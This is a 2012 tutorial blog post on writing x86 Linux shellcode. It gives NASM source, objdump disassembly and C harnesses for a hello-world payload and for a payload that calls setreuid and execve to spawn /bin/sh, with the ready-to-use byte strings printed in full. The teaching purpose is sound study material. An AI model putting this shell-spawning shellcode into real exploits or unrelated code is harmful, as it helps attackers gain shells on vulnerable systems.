Writing Shellcode For FUN

Mar 22, 2012 10:54 PM

|=----------------------------------------------------------------------=|
|=-------------------=[ Writing Shellcode For FUN ]=--------------------=|
|=----------------------------------------------------------------------=|
|=---------------=[ By War49, line.console49@gmail.com ]=---------------=|
|=----------------------------------------------------------------------=|
|=------------------------=[  April 22, 2012  ]=------------------------=|
|=----------------------------------------------------------------------=|
                                                          
                      
            h)              l)L  l)L                       d)                 
            h)               l)   l)                       d)                 
     s)SSSS h)HHHH  e)EEEEE  l)   l)   c)CCCC  o)OOO   d)DDDD e)EEEEE  r)RRR  
    s)SSSS  h)   HH e)EEEE   l)   l)  c)      o)   OO d)   DD e)EEEE  r)   RR 
         s) h)   HH e)       l)   l)  c)      o)   OO d)   DD e)      r)      
    s)SSSS  h)   HH  e)EEEE l)LL l)LL  c)CCCC  o)OOO   d)DDDD  e)EEEE r)      
                                                                                                

[+]---[ 1. Description

What is the shellcode? Shellcode is a simply code written in assembly that could be generated into machine code and could be injected into the stack memory. For this requirement, you must have programming skill in assembly and C language, and able to operate debugging and disassembling tools. Understand the memory layout and how does variables and code were map in memory are also important beside having skill. Shellcode is very important thing in exploitation process and I think it's a difficult task. In article I am not describe till exploitation process, exploitation will explain in the sparate article. In this page only describe about writing simple shellcode and execute to check that it would take effect.


In the computer security, there are so many shellcode and exploit spread in internet. When there has weakness application, specially in input handling. There will be exploit burns after it occur. And ofcourse, we can make our own shellcode and exploit for ourshelf.



[+]---[ 2. Difference between shellcode in linux and windows

The difference thing in writting shellcode in linux and windows is in their way to make contact to the kernel. Linux provide syscall as a way to enter kernel mode and make contact to the kernel. It's a direct way to contact kernel interface using 0x80 interface in assembly language. But, it's quite difference to windows OS. Windows didn't use syscall, and doesn't has a direct access to the windows kernel. In windows, there is active DLL file (Dynamic Link Library) in the system. We have to load the address of the function that need to be executed from the DLL file. So, in windows, we have to find function address in memory first. There is a tool to do this activity in internet and getting function location in the memory easily.


[+]---[ 3. Register of Processor Information

EAX, EBX, ECX, EDX -> 32 bit general purpose register
AH, BH, CH, DH -> access the upper 16 bit GPR (general purpose register)
AL, BL, CL, DL -> access the lower 8 bit GPR
ESI, EDI -> are used when making linux syscall



[+]---[ 4. Tools required
|
`-------[ 4.1. GNU C compiler (GCC)
GCC is standart for Linux compiler, you can find much description and explaination about this compiler in internet.
|
`--------[ 4.2. GNU Linker (LD)
LD is a linker tool from GNU. It will make link from object file.o to binary/executed file (like a.out in C).
|
`--------[ 4.3. NASM or AS
NASM and AS is a compiler for assembly language. NASM will be used to compile assembly language that used intel based syntax. And AS will be used to compile assembly language which used AT&T based syntax.
|
`--------[ 4.4. Objdump
Objdump is a tool would translate from assembly code to machine code (hexadecimal format).


[+]---[ 5. Writting shellcode


;hello.asm
[SECTION .text]

global _start


_start:

jmp short ender

starter:

xor eax, eax    ;clean up the registers
xor ebx, ebx
xor edx, edx
xor ecx, ecx

mov al, 4       ;syscall write
mov bl, 1       ;stdout is 1
pop ecx         ;get the address of the string from the stack
mov dl, 5       ;length of the string
int 0x80

xor eax, eax
mov al, 1       ;exit the shellcode
xor ebx,ebx
int 0x80

ender:
call starter ;put the address of the string on the stack
db 'hello'

war49@darkstar:~$ nasm -f elf hello.asm
war49@darkstar:~$ ld -o hello hello.o
war49@darkstar:~$ ./hello && echo
hello

war49@darkstar:~$ objdump -d hello

hello:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060:       eb 19                   jmp    804807b 

08048062 :
8048062:       31 c0                   xor    %eax,%eax
8048064:       31 db                   xor    %ebx,%ebx
8048066:       31 d2                   xor    %edx,%edx
8048068:       31 c9                   xor    %ecx,%ecx
804806a:       b0 04                   mov    $0x4,%al
804806c:       b3 01                   mov    $0x1,%bl
804806e:       59                      pop    %ecx
804806f:       b2 05                   mov    $0x5,%dl
8048071:       cd 80                   int    $0x80
8048073:       31 c0                   xor    %eax,%eax
8048075:       b0 01                   mov    $0x1,%al
8048077:       31 db                   xor    %ebx,%ebx
8048079:       cd 80                   int    $0x80

0804807b :
804807b:       e8 e2 ff ff ff          call   8048062 
8048080:       68 65 6c 6c 6f          push   $0x6f6c6c65


So, we get the machine code written in hexadecimal format as displayed above. Then we can those machine code into array of characters in C language format as bellow:


char shellcode[]="\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
"\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";

When machine code are packed to array, so it's ready to be integrated into C code and the final code as shown bellow:


/*shellcodetest.c*/

char shellcode[]="\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
"\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";

int main(int argc, char **argv)
{
int (*fx)();
fx = (int (*)()) shellcode;
(int)(*fx)();
}



[+]----[ 6. Spawning shell to get "/bin/sh"


;shellex.asm
[SECTION .text]

global _start


_start:
xor eax, eax
mov al, 70              ;setreuid is syscall 70
xor ebx, ebx
xor ecx, ecx
int 0x80

jmp short ender

starter:

pop ebx                 ;get the address of the string
xor eax, eax

mov [ebx+7 ], al        ;put a NULL where the N is in the string
mov [ebx+8 ], ebx       ;put the address of the string to where the
;AAAA is
mov [ebx+12], eax       ;put 4 null bytes into where the BBBB is
mov al, 11              ;execve is syscall 11
lea ecx, [ebx+8]        ;load the address of where the AAAA was
lea edx, [ebx+12]       ;load the address of the NULLS
int 0x80                ;call the kernel, WE HAVE A SHELL!

ender:
call starter
db '/bin/shNAAAABBBB'

war49@darkstar:~$ nasm -f elf shellex.asm
war49@darkstar:~$ ld -o shellex shellex.o
war49@darkstar:~$ objdump -d shellex

shellex:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080:       31 c0                   xor    %eax,%eax
8048082:       b0 46                   mov    $0x46,%al
8048084:       31 db                   xor    %ebx,%ebx
8048086:       31 c9                   xor    %ecx,%ecx
8048088:       cd 80                   int    $0x80
804808a:       eb 16                   jmp    80480a2 

0804808c :
804808c:       5b                      pop    %ebx
804808d:       31 c0                   xor    %eax,%eax
804808f:       88 43 07                mov    %al,0x7(%ebx)
8048092:       89 5b 08                mov    %ebx,0x8(%ebx)
8048095:       89 43 0c                mov    %eax,0xc(%ebx)
8048098:       b0 0b                   mov    $0xb,%al
804809a:       8d 4b 08                lea    0x8(%ebx),%ecx
804809d:       8d 53 0c                lea    0xc(%ebx),%edx
80480a0:       cd 80                   int    $0x80

080480a2 :
80480a2:       e8 e5 ff ff ff          call   804808c 
80480a7:       2f                      das
80480a8:       62 69 6e                bound  %ebp,0x6e(%ecx)
80480ab:       2f                      das
80480ac:       73 68                   jae    8048116 
80480ae:       58                      pop    %eax
80480af:       41                      inc    %ecx
80480b0:       41                      inc    %ecx
80480b1:       41                      inc    %ecx
80480b2:       41                      inc    %ecx
80480b3:       42                      inc    %edx
80480b4:       42                      inc    %edx
80480b5:       42                      inc    %edx
80480b6:       42                      inc    %edx


So we get the machine code here:

char shellcode[]="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";


/*bash.c*/

char shellcode[]="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";

int main(int argc, char **argv)
{
int (*fx)();
fx = (int (*)()) shellcode;
(int)(*fx)();
}


Sample execution:
% cc -o bash bash.c 
% echo $SHELL
csh
% ./bash 
sh-4.1$  echo $SHELL
/bin/bash
sh-4.1$ 


[+]----[ 7. Conclution

It's very nice topic in computer field to be learned. Because we can play with machine code and run it in the different condition. Packs machine code in array of char then execute it in the memory. I think shellcode is difficult to be learned but it's fun, because it written in assembly language. There are some methode in writting shellcode that not discus in this article like byte order (if the shellcode is for remote exploit) and eliminates the null bytes. But, this article can be first step to learn writting shellcode.

Article list :